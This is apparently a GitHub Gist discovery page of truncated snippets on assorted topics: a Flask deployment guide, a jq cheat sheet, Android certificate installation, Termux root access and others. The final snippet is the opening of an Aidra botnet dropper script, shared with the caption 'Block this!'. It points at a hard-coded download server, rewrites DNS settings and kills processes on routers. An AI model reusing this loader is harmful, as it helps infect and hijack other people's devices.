Skip to content

Instantly share code, notes, and snippets.

// ==UserScript==
// @name AnyFlairs+
// @author Capernicus
// @version 1.0
// @include http://*.koalabeast.com:*
// @include http://tagpro-*.koalabeast.com*
// @grant GM_setValue
// @grant GM_getValue
// ==/UserScript==
(function () {
@mcescalante
mcescalante / instructions.md
Last active July 25, 2023 14:07
Run a Flask application with gunicorn and nginx

This guide assumes:

  • You have a VPS (something like DigitalOcean, Linode, etc.)
  • You have a Flask application and a basic understanding of command line instructions
  • You've got nginx installed and know where your configuration files are

Instructions

  1. First, you should install gunicorn on your box or virtualenv with pip:
@olih
olih / jq-cheetsheet.md
Last active March 26, 2026 17:25
jq Cheet Sheet

Processing JSON using jq

jq is useful to slice, filter, map and transform structured json data.

Installing jq

On Mac OS

brew install jq

@nateabele
nateabele / readme.md
Last active October 29, 2018 00:19
I tweeted (https://twitter.com/nateabele/status/710907916803555328) that every supposed 'market failure' cited in an article (http://www.fastcoexist.com/3056483/welcome-to-the-post-work-economy) was actually the result of government intervention. Jon Snook (@snookca) challenged me to back that up, and I'm too lazy to fix up my blog, so here's my…

List of Claimed Capitalism/Market Failures

"When legislators control buying and selling, the first things to be bought and sold are legislators."

  • "Real wages for most Americans haven't increased in 40 years": This just so happens to coincide with the Grunch of Giants (here's the kids' version of the same/similar set of concepts)
  • "The 2008 financial crisis showed the inherent instability of the current system": Gambling With Other People's Money
  • "Modern economies are increasingly based around information. Information "wants to be free"—as the saying goes—but free things are bad for capitalism, because capitalism is about competition and making profits": Flawed, reductionist comparison. See Zero to One
  • "Information goods aren't like physi
@d0c-s4vage
d0c-s4vage / autopypi.py
Created March 13, 2016 13:32
A simple script to auto-install packages from pypi when they are imported.
#!/usr/bin/env python
# encoding: utf-8
import imp
import os
import pdb
import pip
import readline
from pip.commands.search import SearchCommand
import sys
@pwlin
pwlin / gist:8a0d01e6428b7a96e2eb
Last active March 11, 2026 23:59
Android : add cert to system store
https://code.google.com/p/android/issues/detail?id=32696#c5
If you have a certificate that is not
trusted by Android, when you add it, it goes in the personal cert store.
When you add a cert in this personal cert store, the system requires a
higher security level to unlock the device. But if you manage to add your
cert to the system store then you don't have this requirement. Obviously,
root is required to add a certificate to the system store, but it is quiet
easy.
@vasanthk
vasanthk / System Design.md
Last active March 29, 2026 04:14
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
@cswl
cswl / termux-su
Last active August 15, 2025 00:49
DEPRECATED: Use https://github.com/cswl/tsu instead.
#!/data/data/com.termux/files/usr/bin/sh
# sudo for Termux
# For security reasons some environent variables are reset by su
# So we need to set LD_LIBRARY_PATH
# Root's HOME is set to 'termux's home/.suroot'.
# Startup files and other stuffs can be added there.
ROOT_HOME=$HOME/.suroot
@Haaglar
Haaglar / tp-hls.py
Created November 23, 2015 10:49
Tenplay URL HLS extract
# Usage: tp-hls.py URL
#
# Grabs the HLS m3u8 URL from Tenplay
# Initially began as a modification of p7-hls.py by adammw
# but it required significant modifications so only little remains of the old file
# To download the HLS stream using ffmpeg, use the following command:
# ffmpeg -i <URL> -acodec copy -vcodec copy -bsf:a aac_adtstoasc <OUTPUT_FILE>
#
import sys, os, re, argparse, urllib2, urllib, urlparse
@jedisct1
jedisct1 / aidea.sh
Last active September 22, 2017 10:54
Aidra botnet is still alive... Block this!
#!/bin/sh
# THIS SCRIPT DOWNLOAD THE BINARIES INTO ROUTER.
# UPLOAD GETBINARIES.SH IN YOUR HTTPD.
# YOUR HTTPD SERVER:
REFERENCE_HTTP="http://95.211.153.135"
echo "nameserver 8.8.8.8" >/etc/resolv.conf
# NAME OF BINARIES:
killall /var/run/*
killall /var/run/.*/*